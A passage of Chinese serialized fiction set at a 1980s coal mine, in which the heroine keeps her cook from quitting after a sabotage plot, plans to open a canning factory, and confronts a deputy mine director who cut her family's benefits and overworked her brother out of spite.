“什么脏心烂肺的玩意儿!还想往人家汤里扔死耗子,妈的,这是正经人能想出来的主意?” “刚才我还只是猜猜而已,没想到他们是真想投毒,这种食堂还有什么开门的必要吗?” “他们自己菜里有虫子,就想往人家菜里扔耗子,真不是东西!” “待会儿下班我就去把旧食堂都砸了!” “强烈要求关了旧食堂!有新食堂就够了!” “对!关了旧食堂,以后一矿只要新食堂!” 在警车旁与公安干警交涉的几个矿领导听到这些话,后背直冒汗。 旧食堂是激起众怒了,最后要怎么收场…… “小心!” 正当此时,干警眼疾手快将矿领导往旁边一拉,随即一声重响,有人把花盆从楼上扔了下来,差一点就砸中车边的几个人。 紧接着,又有人摔了几个瓶瓶罐罐下来,其中一个墨水瓶精准地砸到车顶,蓝黑色墨水四处溅射,将白衬衫染成了波点衬衫。 差点被爆头,心有余悸的矿领导们急忙后退几步,冲楼上大喊: “各科室主任把窗户都关起来!” “再敢往下扔东西就开除!” “都回去!谁也不许在窗户前站着!” 公安干警也都急忙上车,让司机赶紧将车驶离一矿。 一场纷争暂时消退,然而,更大的风暴正在酝酿中。 当天中午,旧食堂被砸了。 旧食堂的人不是没有准备,在收到矿领导派人传来的关门指使后,他们锁了门,关了窗,连灯都熄了,从外面看,食堂里面黑洞洞的。 然而,一扇木门挡不住群情激昂的愤怒群众。 门连着锁被撞开,窗户被砸得粉碎,食堂内的桌椅被拆得七零八落,没腿的凳子,断折的桌子,沾着陈年污渍的碗盘被摔了个粉碎。 就连灶台上最大的那口锅,都被人用锤子砸碎了锅底,再也不能用了。 旧食堂的员工见势不妙,远远看到大批人马时就从后门溜了,幸运逃过一劫。 虽然人还在,但旧食堂里像是被龙卷风反复肆虐,看着比拆迁房都凄惨。 由于砸场子的人数众多,而且是群众自发行动,没有主谋,砸完就散,矿领导们想杀鸡儆猴都找不出人。 法不责众,总不能把一半以上的职工都逮捕起来吧。 没办法,最后只得泛泛批评一下,大会小会不断,苦口婆心地教育工人们要冷静,不要冲动,不能再发生类似的打砸事件。 另一边,大获全胜的新食堂此时却低调极了。 贺明珠严禁食堂员工讨论与旧食堂相关的事情,并加强了对食品安全卫生的管理,将几个蠢蠢欲动想搞事的大集体职工操练得精疲力尽,每天一睁眼就是清理不完的卫生死角。 她这样的处置手法得到了张副矿长的赞同。 “就该这样,只有骨头轻的暴发户才会不分场合地炫耀,你做得很好,现在矿上气氛不对,你不能再火上浇油了,不然就会引火自焚,让自己陷入被动。” 贺明珠说:“我了解,闷声发大财嘛。” 张副矿长点点头,夸赞道:“你这小姑娘有灵性,哈哈,不愧是我看好的人。” 贺明珠笑笑没说话。 她现在正发愁呢,冯师傅坚决要辞职,说什么也不肯留下来了。 “老板,小杨和小田都练出来了,完全可以取代我这个糟老头,没了我也不会影响食堂运转。” 冯解放苍老了许多,脸上坠着两道深深的法令纹,眼皮沉沉地耷拉下去,整个人都是灰蒙蒙的。 “我没教育好儿子,我对不起大家……我,我没脸再留下工作了……” 公安已经将刘小军诬告陷害新食堂的案件立案了,现在正在侦查,不日将移交到检察院,进入审查起诉阶段。 刘小军作为主谋,已经被公安正式逮捕了。 他平时在旧食堂里高人一等,对着下面的小厨师颐指气使,一派土霸王的模样。 可等进了看守所,他见了公安就像耗子见了猫,战战兢兢,问什么答什么,一秃噜就把冯建平给供出去了。 公安原本以为冯建平是重要帮凶,但深入了解案情后,便有些无语,原来他只是个扔耗子都没成的胆小鬼。 原本冯建平作为罪行轻微的从犯,可以被保释出狱,但冯家没人作保,他就这么一直在看守所蹲着了,直到法院审判后确定刑期为止。 冯解放心中愧疚极了,如果不是阴差阳错,那只死耗子就真的会出现在汤桶里。 到时候,无论新食堂如何解释,都无法证明自己的清白。 而这一切的罪魁祸首,就是他冯解放。 冯解放坚决要走,甚至连工资都不肯拿,如果不是要交接工作、站好最后一班岗,他都没脸去见贺明珠。 “老板,我对不住你,当初你把我招了进来,一直都很信任我,把新食堂交到我手上,可我却差点毁了它……” 贺明珠连忙止住冯解放的自责。 “冯师傅,别这么说,要毁新食堂的可不是你,是刘小军,他存心使坏,怎么能怪你呢?都说只有千日做贼的,没有千日防贼的,这事儿再怎么说也怪不到你头上。” 冯解放苦笑着摇摇头。 “刘小军以前是我徒弟,虽然是师徒,但他对我没有一丝情谊,只有仇恨。他觉得我平时总找他的茬,嫌菜难吃,嫌他邋遢,嫌他对来吃饭的人态度不好……唉,我当时还年轻,太过求全责备,总想着自己带出来的徒弟要样样都好,结果反倒结了仇。” “如果不是因为我在新食堂,刘小军也不至于想出这么阴狠的主意。说到底,是我的错啊。” 贺明珠听了有些哭笑不得。 “冯师傅,坏人要害人和您有什么关系?即使您十全十美,也阻止不了他们要害人。狼要吃东郭先生,蛇要咬农夫,难道是东郭先生和农夫的错吗?刘小军属于本性恶毒,和您是什么样的师父没关系。杨冬梅不也是您的徒弟吗?冬梅姐怎么就从来不害人呢?说到底,是人品道德的问题。” 听到贺明珠的话,冯解放心上的大石稍稍松解了些,不再那么沉甸甸地压着他了。 “不说刘小军……冯建平是我儿子,我也没教好他,差一点,就让他得手了……作为父亲,我应当承担起责任。” 贺明珠轻而快地说: “嗨,我的冯师傅啊,他是他,您是您,新中国不搞连坐这一套。您再这么说,我都要惭愧了,到底我平时做错了什么,才会让您把我和诛十族的朱重八联系到一起啊?” 冯解放连忙说:“贺老板,你是好人,你没有做错任何事。” 贺明珠一拍手,欢快地说: “那不就得了,既然我没做错事,那您干嘛用辞职来惩罚我呢?” 冯解放又 忙着要解释什么,贺明珠拦住了他的话,说道: “现在正值食堂的高速发展期,您要是就这么一走了之,我可就要抓瞎了——这里有谁能比您更经验丰富,更值得我信赖呢?” 冯解放怔住了。 贺老板说信赖……难道他真的还值得她信赖吗? 贺明珠诚恳地说:“冯师傅,留下来吧,我需要您,我们需要您。” 冯解放的心中一酸,委屈、感动、释然等复杂情绪同时涌上心头。 “贺老板,既然您这么说,那我就厚着脸皮留下来……只要您还用得上我这把老骨头,就算粉身碎骨,我也在所不辞!” 贺明珠放心地笑了。 “由您这句话,那我就安心了。接下来食堂的事就交给您了,您费心多培养几个徒弟。至于冬梅姐,我就先带走了。” 冯解放下意识追问:“你要让小杨去做什么?” 贺明珠冲他眨眨眼:“先保密,我有一个新计划~” 第122章 第122章开个罐头厂 贺明珠的新计划是开一家罐头厂。 是的,罐头厂。 这倒不是她心血来潮,而是在年前的时候就计划好了。 冬天的时候,贺明珠在巡店时发现经常有人带着巨大的铝饭盒,一次性购买十人份的饭菜,还用暖壶装了满满一壶的汤。 贺明珠很好奇,上前询问对方,如果要请客的话,为什么不到店用餐,或者让厨师上门做饭,反而要外带这么多的饭盒呢? 对方认出贺明珠,痛快地回答道:“哎呀,老板这话问的,要是能来店里吃饭,我当然是要坐下来慢慢品尝,毕竟刚出锅的菜吃着香,比二次加热的要好吃多了。可我这不是要去外地嘛,一走就是十来天。在车上吃饭不方便,趁天气冷,食物放得住,还是带上咱们店里的饭菜更好。” 车上? 贺明珠又问:“您是做什么工作的?” 对方乐呵呵地说:“我开火车的,不止是我,我们班组的在出发前都来你们店里打包上十天的菜,留着路上慢慢吃。” 贺明珠了然,原来是运煤火车的工作人员。 乌城矿务局所生产的煤炭大部分都运往外地,最远可达广东海南。这年头火车没提速,从北到南,单程要走五天,往返一趟就是十天。 火车上做饭不便,吃得也不好,只是维持基本生存而已。 而火车司机普遍工资较高,路上又辛苦,舍得慰劳自己,肯在吃上花钱。 因此,在煤矿人家一次性采购大量饭菜,在出车路上慢慢吃,也就成了他们的选择。 也就是现在冬天温度低,盛满了饭菜的铝饭盒放在室外,一夜就冻成了冰坨,不用担心变质的问题。等上了火车要吃饭时,再把饭盒放在热水中解冻。 等到了春夏秋三季时,天气热,成品饭菜存不住,也就只能自带食材,现做现吃了。 除了要出远门的火车司机以外,贺明珠还发现有其他人也是带着饭盒来打包饭菜的。 这些人看着面生,听着口音不像是乌城本地人。 贺明珠就去问平时和客人接触比较多的徐和平,这些人都是哪儿来的。 徐和平听了贺明珠的话直乐。 “老板,这不都是你招来的人吗?” “我?这和我有什么关系?”贺明珠不解道。 徐和平卖了会儿关子,见贺明珠威胁地眯起了眼睛看他,他才嬉笑着说: “当然和你有关系,这些外地的客人可都是冲着你来的呢!” 当初那个著名的全国通缉犯被捕的消息传开后,人们对他的抓捕过程很是好奇,毕竟这可是出了名的悍匪,连追捕他的军警都敢杀。 后来王东文的报道刊登,被各地报纸转载,一时间,街头巷尾都是女学生勇擒通缉犯的议论。 没多久,就有人千里迢迢地赶赴乌城,要见一见抓住了通缉犯的人,来亲眼确认到底是男是女,顺便品尝一下通缉犯本人认证的饭店,是不是真的好吃到了就算被抓也要吃的地步。 于是,不少人不远千里地来店里吃饭,第一筷子饭菜入口后便非常惊艳,好吃的甚至都忘了是来参观煤矿人家老板的。 他们在乌城的这段时间里顿顿都是在煤矿人家用餐,回程的日期推了又推,直到不能再推迟下去,才依依不舍地离开,并在出发前再在店里吃最后一餐饭。 这些外地旅客走的时候意犹未尽,眼巴巴地看着后厨,恨不能将厨师打包带走。 但当时是夏天,做好的饭菜放不住,只能打包几个盒饭,留着上了火车吃。 外地旅客回去以后,朋友问他:“那个煤矿人家老板长什么样?是大高个的退伍兵,还是真和报纸上写的一样,是个高中的女学生?” 旅客没反应过来,还问:“啊?你说什么?” 朋友催道:“我问你煤矿人家老板呢,你见着了没?” 旅客恍然大悟:“啊!” 朋友说:“想起来了吧?想起来就赶紧告诉我,我还和别人打着赌呢。” 旅客:“我忘了!” 朋友:? 朋友:“你去乌城不就是去看煤矿人家老板的?这都能忘了?!” 旅客尴尬地咳了两声:“那个煤矿人家的菜做得实在太好吃了,我光顾着吃,忘了看老板长什么样了……那个,你想不想知道店里厨师长什么样?这个我能详细说给你听……” 朋友:…… 朋友:“谁想知道饭店伙夫长什么样啊!!!” 来过煤矿人家吃饭的旅客从此对这一口美味魂牵梦萦,夜里做梦都是在店里点餐,当服务员端着大菜上桌,他欢天喜地正要举起筷子去夹菜时,梦醒了。 醒后格外惆怅,枕巾上都是伤心的口水印子。 于是,等攒了点钱,趁着假期有空,他就又坐上了火车,千里迢迢地奔赴煤矿人家。 这次他长记性了,点菜后问服务员:“你们店的老板呢?” 徐和平挑眉:“您找我们老板有什么事?” 旅客想想:“呃,好像也没什么事……对了,让厨房快点上菜吧,我已经等不及了!” 听了徐和平的转述,贺明珠沉吟:“嗯,也不能完全说是我招来的吧……怎么听,怎么都像是一个吃货的执念啊。” 徐和平喷笑:“最开始是因为对你本人感兴趣,后面嘛,就是对你做的菜感兴趣了,说到底,还不是你招来的人吗?” 贺明珠若无其事地转移话题:“让我来想想,怎么才能让外地的朋友更方便快捷地吃到咱们店里的美食呢?” 贺明军路过时听了一耳朵,大惊失色:“你该不会是想在乌城外面开分店吧?” 徐和平同样大惊失色:“我生是乌城人,死是乌城鬼,打死我也不去外地开荒!” 贺明珠:“……哥哥们,你们 想多了。” 贺明军抬手擦一把汗,徐和平夸张地松了一口气。 贺明珠反而好奇:“你们俩至于吗?就算是真要开分店,这有什么好大惊小怪的。” 贺明军质疑地一挑眉,没说话。 徐和平幽幽开口:“小老板啊,这才一年多的时间,我和明军儿先是在一店干活,接着是开二店,后来又开了三店——就算我是骡子,也不能这么使吧,你好歹有点人道主义精神吧……” 贺扒皮心虚望天:“就……也还,还好,吧……” 好像,似乎,大概,仿佛……是有那么一点过分压榨了。 于是,这次开罐头厂的事儿,贺明珠就找了杨冬梅,把她从后厨拎了出来。 听闻贺明珠的来意,杨冬梅皱着眉头,没什么自信地说:“贺老板,我没上完初中,开办罐头厂的事,我怕是帮不上忙。” 贺明珠却说:“罐头厂没你想得那么难,原理简单得很,我一说你就明白了。” 杨冬梅有些疑惑,就听贺明珠问她:“你做过西红柿酱吗?” 西红柿酱是北方过冬时常见的储备食物之一,勤快的家庭经常会在秋天批发便宜的西红柿,洗净去皮,切碎后灌入瓶中,上笼蒸熟后封口,做好的西红柿酱可以放一冬天也不会变质。 杨冬梅是个会过日子的人,自然会做西红柿酱,听到贺明珠的问题,她便点头说:“我做过。” 贺明珠说:“做罐头和做西红柿酱差不多,都是高温处理后进行密封,只要外壳不破损,就能在常温下长时间储存。” 贺明珠说的是最传统的罐头制作方法,其制作工艺属于热杀菌,虽然在一定程度上会影响食物风味,但相对于对技术要求更高的冷杀菌工艺,对于起步阶段的罐头厂而言,热杀菌更具有实用价值。 杨冬梅想了想,问道:“那罐头厂要做西红柿酱吗?” 贺明珠摇摇头:“不,我们要做的是熟食罐头。” 迎着杨冬梅吃惊的目光,贺明珠笑着说:“以罐头为媒介,我们要将煤矿人家的美味传递给全国各地的美食爱好者。” 是的,贺明珠的目标就是将煤矿人家的美食以罐头的形式运往全国,乃至全世界。 后世的人们更喜欢现场制作、充满镬气的食物,对罐头一类的预制菜嗤之以鼻,在八十年代时,罐头却是难得一见的珍馐美味,只有逢年过节或生病发烧时才能吃到。 即使到了食物种类极为丰富的现代,对于不少人来说,橘子罐头和黄桃罐头仍旧是生病时怀念的美味,有类似于安慰药的功效。 又或者说,人们怀念的不止是冰凉甜美的水果罐头,而是幼年时味蕾对美味的初次记忆。 在上个世纪,罐头的定位是用于出口创汇,因此,梁志胜父亲所在的肉联厂的重要生产任务之一,就是负责制作加工向国外出口的猪肉罐头。 而罐头的另一定位则是军需物资,类似于午餐肉罐头、红烧肉罐头之类的,基本不在市场上流通,家里有现役军人的,才能从部队弄到一些罐头。 即使到了改革开放初期,市面上的罐头种类依旧非常之少,而且味道也不怎么样,带着点“爱吃吃不吃滚”的高傲气质,毕竟在缺乏充足市场竞争的情况下,店大欺客不是什么新鲜事。 然而,即使是这样品质一般的罐头,依旧是供不应求。 毕竟,在食物品种单一、物流不发达的八十年代,罐头就代表着肉和水果,让人光是看看都觉得口水要流出来。 贺明珠看中了这一片蓝海,一个潜力巨大的市场。 煤矿人家能开设的分店数量是有限的,摊子铺得太大,她对分店的管控力就会下降,难以控制产出和品质,除非她开放加盟店,模仿肯当基的运营模式,但这需要投入的精力和金钱太过巨大,是她暂时无法实施的。 因此,开办罐头厂变成了当下的最优选择,一个能稳定带来海量收入的现金牛。 过年的时候,贺明珠让刘燕在去大城市进货时,帮她调研一下市面上的罐头品类和价格。 刘燕把这件事放在心上,年后去进货时特地绕去当地百货商场,把货架上的罐头名称、种类和单价都记在笔记本上,回到矿务局时便将记满了的本子拿给了贺明珠。 在这个年代,罐头的价格相当的贵,例如水果罐头是八毛钱一瓶,而一斤苹果也不过才五毛钱。 肉类罐头的每罐价格为五到十元,罐头的重量大约为一公斤,而猪肉每斤不过才两三元。 考虑到批量采购原材料的价格可以更低,玻璃罐头可以二次回收使用,简单计算一下,罐头的利润率超过了30%,一个非常诱人的数字。 市面上的罐头种类相当之少,多是橘子、黄桃、菠萝等各类水果罐头,熟食类的罐头则主要是午餐肉和豆豉鲮鱼,以及小部分的猪肉罐头。 周末的时候,贺明珠去乌城百货商场买了所有类别的罐头,带回家让家里人都尝一尝。 贺小弟对着水果罐头欢呼雀跃,甜蜜蜜的汁水里浸泡着切块的水果,在这个物资匮乏、冷链运输落后的年代,只有夏秋能放开吃水果,春冬就只能拿着萝卜当梨吃了。 可是当贺明珠打开熟食罐头,递到贺小弟面前时,他却大摇其头。 “这个闻起来就不好吃,我不要吃~” 贺明国走进屋来,从贺明珠手中拿起罐头,拿了个干净勺子舀了一勺肉。 “惯的你,有肉都不好好吃,搁以前家里要是有猪肉罐头,我和你二哥为了吃的都要打一架。” 贺小弟瞪着大眼睛,不解地问:“为什么要打架?咱们家不是天天有肉吃吗?” 贺明国一时语塞,竟不知道要怎么说。 这小子真是命好,自记事以来就没过几天苦日子,家里开着饭店,从来不缺他这一口吃的。 “和你说了你也不懂,以前咱家哪有这么好的伙食呢,我记得咱爸得劳动模范时,矿上给他发了五个肉罐头,那可真是好吃啊……” 回忆着从前,贺明国把勺子上的肉送入口中,下一秒,他的动作停顿了。 贺小弟见他不动,问道:“大哥,你怎么了呀?” 贺明国的脸色发绿,面部肌肉抽搐,忍了又忍,艰难伸直了脖子,将口中的肉强行咽下去。 顾不上回答贺小弟的问题,他急忙拿起桌上的水杯,仰起脖子往嘴里灌水。 贺小弟忙喊:“大哥,那是我的杯子!” 贺明国没理会,喝完了水,又冲出去拧开水龙头漱了漱口,弄得满脸都是水。 “妹,这罐头的味儿不对,你别吃了。” 贺明珠看看罐头上的生产日期,说:“没过期啊,还在保质期内呢。” 贺明国疑惑道:“那这罐头怎么这么难吃?和我印象里的完全不一样了。” 齐家红拿了根洗好的黄瓜进屋,递给了贺明国,抿嘴笑道:“不是罐头变得难吃了,是你的舌头变挑剔了,天天吃着明珠和明军做的美食,怕是外面的食物都入不了你的眼了。” 贺明国咔嚓咬下一大口黄瓜,任由黄瓜特有的清香味在口中回荡,涤清方才肉罐头残留在口中滑腻不适的滋味。 “哎,这可真是……我以前还挺喜欢吃这个牌子的罐头呢。” 最后这个开封的肉罐头全家谁都不吃,贺明珠拿给小狗闻了闻,小狗扭头就走。 至此,贺明珠决心要开办罐头厂。 与开饭店不同,工厂的选址是个不大不小的问题,要有现成厂房,要有便利交通,还要有能存放原材料和产成品的仓库。 贺明珠在下学后的空闲时间走遍了矿务局,符合她要求的厂房都属于国企,而且都处于使用状态。虽然收益低迷,但也能解决职工的就业问题,并不愿意腾出厂房来对外租赁。 贺明珠想到了校办工厂和街道开办的小集体工厂,没有国企输血的情况下,这些小厂子更有可能已经空关,能够对外租赁。 然而,正当贺明珠踌躇满志时,突然,矿上有人通知她 ——贺明珠和贺小弟的工亡子女补助被取消了。 “哎哎哎,你怎么进来的,谁让你进来的?” 一矿办公楼,有人不顾门卫的阻拦,目标明确地冲向三楼的领导办公室。 门卫在后面死命地追,但还是没追上,眼睁睁看着对方气势汹汹推开了副矿长办公室的门。 “哐”的一声巨响,正在喝茶看报的巩副矿长被吓得一激灵。 他不悦地抬头看去,是贺明珠,怒气冲冲地瞪过来。 巩副矿长一时有些心虚,色厉内荏地喊:“谁让你进来的?出去!” 但贺明珠非但不走,反而还上前一步,堵在他的办公桌前,居高临下地看着他。 “就是你让财会室取消了我家的工亡子女补助?” 巩副矿长眼睛一转,说道:“工亡子女补助是国家发给家庭困难的矿工遗属,不是给你们这种投机倒把的小商小贩!我不找你算账就已经是看在你是本矿子弟的份上了,你还敢上门来找我?!” 贺明珠毫不示弱地说:“我有个体户执照,一举一动都符合国家规定,公安局 没有给我定罪,你凭什么说我投机倒把!” “我来之前查了规定,工亡子女补助的发放对象是因工作原因死亡职工的未成年子女,并不区分家庭是否困难,这是国家对工亡职工家属的补偿——你又凭什么说取消就取消?!” 巩副矿长语塞一瞬,马上就说:“你不是做生意很挣钱吗,怎么还惦记补助这点小钱?我告诉你,你这是资本主义思想作风的严重腐蚀!吃社会主义,占社会主义便宜!” 办公室开着门,贺明珠和巩副矿长的争执声传到了走廊,引来其他人的围观。 贺明珠针锋相对:“你不是在取消补助,而是在试图取消我家的工亡子女身份!” “我父亲因公牺牲,一辈子奉献给了煤矿,换来的却是对他的全盘否定!工亡子女补助说取消就取消,下一步是不是要撤销对我父亲因公牺牲的认定?我争的不是十块钱的补助,而是我父亲身后的荣誉!” “一矿去年的总产量超过一百万吨,总产值超过两千万元,难道矿上就很缺这十块钱吗?!” “我可以不要补助的钱,但这个工亡子女的身份,你必须说清楚!” 听到这话,门口围观的人群忍不住讨论起来。 “是啊,怎么能随便取消工亡子女补助呢?” “这样可不好,要被工人知道了,以后工作还怎么开展?” “不就十块钱吗?给她不就是了,矿上还差这点钱啊?” “人家都说了,不是为了这十块钱,就是要争一口气。” 办公室内,巩副矿长被问的哑口无言,贺明珠步步紧逼。 “巩副矿长,您这样一位高高在上的矿领导,为什么要点名道姓地针对一个普通矿工家庭呢?为什么要故意整治我家呢?” 巩副矿长急忙打断她:“你不要乱说,我什么时候整治你家了?!” 贺明珠说:“我大哥接了我爸的班,现在也是一名采矿工人,因为工作认真负责,还评上了先进。但就在这周,他突然被连续安排上了一周的夜班……” 贺明珠还没说完,门外的人群就震惊了。 “谁排的班,这不是瞎胡闹嘛,又不赶生产,怎么敢给人排一周的夜班?” “这夜班上一次就够熬人的,连续上一周,铁打的人也熬不下来啊。” “可不是么,我年轻那会儿上夜班,每次交完班,心脏突突地跳,别提多难受。” 听到外面同事议论纷纷,巩副矿长急忙道:“那是正常排班,你有意见应该去找你大哥的领导,而不是来找我!” 贺明珠被气笑了:“天天值夜班是正常排班?要不你和我大哥换一换,你去井下值夜班,让我哥坐办公室喝茶看报。你也是个煤矿领导,难道你不知道在井下以疲劳状态进行高强度工作的危险吗?” 她不给巩副矿长开口的机会,提高音量说:“父亲已经牺牲了,难道还要再害死儿子吗?!” “这是意外!纯粹的意外!你不要污蔑!” 巩副矿长急得站了起来。 贺明珠不躲不避地与他对视。 “是意外,还是你个人对我家挟私报复的后果!” 巩副矿长恼羞成怒,指着门喊:“滚!你给我滚出去!人呢,把她给我拉出去!” 门外围观的人们都不动,即使是巩副矿长名义上的下属,都只是冷眼旁观。 喊不来人,巩副矿长外强中干地大吼:“快出去,不然我要叫公安来抓你了!” 贺明珠冷笑一声:“你作为副矿长,却只会在办公室喝茶看报、弄权整人,一矿应该为有你这样的领导感到耻辱!” 巩副矿长一个倒仰,几乎要被气到当场吐血三升。 他也没干什么啊,不就是小小地使了一点点的坏吗? 被他整治过的人多了去了,有男有女,有老有少,无一例外不是老老实实将委屈咽下去,要么从此见了他绕着走,要么低头求饶,怎么这个贺家的小姑娘还敢冲到办公室来质问他啊?! 这世道,人心实在太坏了啊! 巩副矿长的脸色都不对了。 “保卫科呢?把保卫科的人给我叫来!把她给我关到保卫科的禁闭室,我要好好审一审这个反革|命,啊不,这个破坏社会主义建设的反|动分子!” 第123章 第123章危险的井下工作 自从上次因为三产房子的事情和贺明珠起了冲突,最后还没讨到好,巩副矿长就记恨上了她。 他一个堂堂副矿长,在一矿排资论辈时,说起来也是能坐主席台第一排的大人物。 虽然同坐第一排的领导还有老矿长、党委书记、总工程师、总会计师和其他副矿长等领导,但相对于普通矿工来说,难道他不够值得敬畏吗? 然而,自从调到一矿后,巩副矿长想做的事最终总以各种原因受挫,导致他的政绩一栏还是空荡荡的。 别说新官上任三把火了,连一颗火星子都没能冒起来。 巩副矿长原本想抢了三产房子后开办一家同样兴旺的饭店,没成想由于同一时期开办的新食堂,煤矿人家秽土转生,抢走了所有客人,一矿饭店落了个狼狈关门的下场。 而与此同时,新食堂的生意却越来越红火。 原先还有人懒得去离办公区很远的新食堂,宁愿忍受难吃的饭菜,也要就近在楼下的旧食堂用餐。 可当发生旧食堂故意诬陷新食堂的案子后,旧食堂由于试图在饭菜里扔死耗子,被愤怒的工人们砸了个粉碎,不得已只得暂时关门避风头。 新食堂成为一矿职工唯一可以用餐的地方,而它的品质并没有因为失去竞争对手而变差,反而由于用餐人多,能够批量采购蔬菜肉类,极大降低了采购成本,同样的饭票可以打到更多饭菜。 即使是最能吃的小伙子,也能无须额外花钱购买饭票、仅用矿上每月发放的饭票就在新食堂吃饱。 每天到了饭点,一矿的各个办公区域涌出大量人群,目标明确地奔赴新食堂。 甚至有人为了能早到食堂、不必排长队,踩点下班,从办公楼出来就撒丫子跑了起来,带动了一群人跟着他一起跑,场面颇为壮观。 巩副矿长在三楼的办公室看到这一幕,不用吃饭都气饱了。 妈的,他开的一矿饭店入不敷出,收入全靠一矿拨款,没撑过多长时间就倒闭了。 煤矿人家被抢了店,明明应该就此在一矿销声匿迹,却摇身一变成为矿上新食堂,从矿外打入了矿内,将所有职工一网打尽,每日接待的客流量是过去的数十倍,生意之兴隆已经无法用言语形容了。 巩副矿长越想越气,恨不能下达一纸公文,禁止职工在新食堂用餐——但他没有这个权力。 老矿长都在新食堂吃饭,更别提一矿其他的处级、科级干部,即使是新来的大学生科员,也将新食堂当成自家餐厅,每天准时准点地去吃饭。 而从 不去新食堂用餐的巩副矿长就显得格外的不合群。 其实作为一名副矿长,他本应该有更多更重要的工作要关心,而不是将目光放在一家食堂上。 毕竟无论从哪个角度来说,作为一矿内部食堂,并吸纳了大量一矿子弟,还给职工提供物美价廉食物的新食堂,都不是巩副矿长的敌人,更不是一矿的敌人。 可他越是生气,眼睛就越从新食堂上移不开。 巩副矿长的心态已经失衡了,但他自己还浑然未觉。 某次,他是审批关于一矿工伤工亡家属补助的文件时,无意间从附件的补助名单中看到了贺明珠的名字。 巩副矿长眼睛一亮,接着便是灵机一动,拿起笔就把贺家人的名字划掉了。 ——既然贺家开饭店做买卖,赚取了远超绝大多数人的财富,凭什么从一矿领取工亡子女补助? 他还举一反三,让人调取了贺家几个子女的档案,试图从中发现可以利用的缺漏。 可惜的是,贺家人太过奉公守法,档案上中规中矩,没有一丝可以被攻讦之处。 不过,巩副矿长发现了点别的。 ——贺家老大在分矿上班,贺家老大的媳妇在子弟小学工作,而贺家老小在机关托儿所上学。 贺家老大是最好下手的,作为一矿下属分矿的职工,收拾他是手到擒来的事。 而子弟小学和机关托儿所都是在乌城矿务局的体系之内,虽然巩副矿长的手暂时伸不到一矿以外的单位,但人托人,总能找机会整治一把。 巩副矿长终于找到了出口气的机会。 贺明珠并不是马上就发现了巩副矿长的恶意。 她忙着开办罐头厂的事,对家里的事关心的就少了。而贺明国不是一个爱抱怨爱诉苦的人,多少辛苦都是自己默默咽下去,对着家人永远都是乐呵呵的笑脸。 可即使是贺明珠每天忙得回家倒头就睡,她还是意识到有什么地方似乎不太对。 “大哥最近的夜班好像有点多啊。” 晚上回家后,再次在饭桌上没看到贺明国,贺明珠就随口说了一句。 齐家红放下筷子,叹了口气:“分矿那边也不知道是怎么了,给你大哥连着排了一周的夜班。唉,我让他去问问领导,就算再赶生产,也不能这么排班吧。他不肯去问,非说要服从组织安排,排了什么班就上什么班……” 贺明珠敏锐地察觉到不对。 “一周的夜班?” 贺小弟正在抱着棒骨啃,闻言含糊不清地说:“我已经好久好久好久没看到大哥了……” 贺明珠忽然意识到,她确实也很久没有见到贺明国了。 一矿实行“三八制”的排班制度,也就是矿工上班时间分成早班、午班和晚班三个班次。 每个班次的工作时间为八个小时,一天二十四小时不停歇地采矿。 其中早班的工作内容为检修井下机械设备,清理巷道污泥,无须生产,相对较为轻松;而午班和晚班则是生产班,要负责采矿、掘进和开拓,工作任务非常繁重。 夜班时间是晚上九点到早上五点,再加上下井前开会换装、升井后换衣洗澡,以及路上通勤的时间,往往实际工作时间超过了十二小时。 贺明国从天还没黑就上班去了,天亮了才回家补觉,每天过得晨昏颠倒,明明在同一个屋檐下,却几乎和家人没有碰面的时候。 由于采矿是个辛苦又危险的活儿,一般情况下是上四休三,以确保矿工能以最饱满的精神状态来从事危险系数极高的井下工作。 但贺明国却被连续排了一周的夜班,没有一天的休息时间,整个人处于超负荷运转的状态。 也就是他现在还年轻,身体撑得住,不然早就出事了。 得知贺明国被安排连上一周夜班后,第二天,贺明珠特地中午从学校赶回家,找贺明国问问情况。 当她回家时,贺明国还在补觉,齐家红做好了午饭,正犹豫着要不要叫他起来吃饭。 看到贺明珠进家,齐家红惊讶道:“明珠,你怎么回来了?忘带东西了吗?” 由于高中学业紧张,加上贺家离一中较远,骑车最快也要半小时,因此贺明珠一般中午就近在乌金年代吃饭,顺便霸占贺明军的休息室午休。 “我来看看大哥,他还没睡醒吗?” 齐家红难掩担忧之色,轻声道:“没呢,可能是太累了吧。” 贺明珠推开小屋房门,听到里面鼾声大作,贺明国没脱外套,鞋子踢到一边,以一种看着就很不舒服的姿势,斜卧在炕上睡觉。 贺明珠上前,轻轻拍了拍他的胳膊。 “大哥,醒醒,吃完饭再睡。” 贺明国睡得沉,被拍了好几下也没睁开眼,含混地说:“别管我……你们吃吧……” 贺明珠加大了力度,甚至上手去掀他的眼皮,捏他的鼻子憋气。 “别睡了,先起来,我有事找你。” 贺明国被骚扰得烦不胜烦,翻身爬了起来,垂头坐在炕边,上手呼噜了好几把脸,挣扎着睁开了眼睛,眼球上满是红血丝。 齐家红心疼地说:“你眼睛怎么了?我去拧条凉毛巾,你敷一敷眼睛。” 贺明珠端详大哥,发现他气色极差,嘴唇发乌,皮肤缝隙里都是没洗干净的煤灰,像一条条黑色的伤痕,横亘在他年轻的脸上。 “大哥,你是不是得罪你们领导了?” 贺明国努力打起精神,笑骂一句:“瞎说什么,我像是这种人吗?” 贺明珠若有所思:“那可能是我这边的问题。” 贺明国站了起来,推着贺明珠出门,边走边说:“你就是想太多,和你没关系,我们分矿赶生产,班组的几个老同志身体撑不住,我还年轻,多干点没什么。走,吃饭去,尝尝你大嫂的手艺。” 贺明珠顺着他的力道走出了门,又问了一句:“是整个分矿都在赶生产,还是只有你们班组在赶生产?而且现在还是春天,煤炭需求量小,即使是要赶生产,也该是秋冬季吧。” 贺明国却坚持道:“小姑娘想这么多干嘛,工作上的事儿不用你操心,我心里有数。” 他不肯说,贺明珠没再说什么,只是在心里转着念头,她是不经意间得罪谁了吗? 可这段时间算得上是难得的风平浪静,几家店和新食堂都没有什么纷争,也没有闹出矛盾,并不像是得罪人被报复的样子。 难道是之前有利益冲突的人吗? 贺明珠一向奉行和气生财,不做独夫,有条件就带动身边的人一起发财,不管是郝家村的养鸡场,还是许家村的粉条厂,亦或是草原上的羊肉生意,独乐乐不如众乐乐,大家一起赚钱才是真的好。 可如果要说仇人的话,也不是没有。 汪副矿长算一个,但他已经进去了;齐家兄嫂勉强也算,这会儿他们还在劳改农场;通缉犯就更不用说了,不出意外的话他现在应该在奈何桥排队。 旧食堂倒是和她有仇,但刘小军和冯建平此时都在看守所等待法院审判,其他人就算有恶意,也不敢在这个风口浪尖上找茬,都缩着脑袋装乌龟呢。 一圈排除下来,似乎只有巩副矿长了。 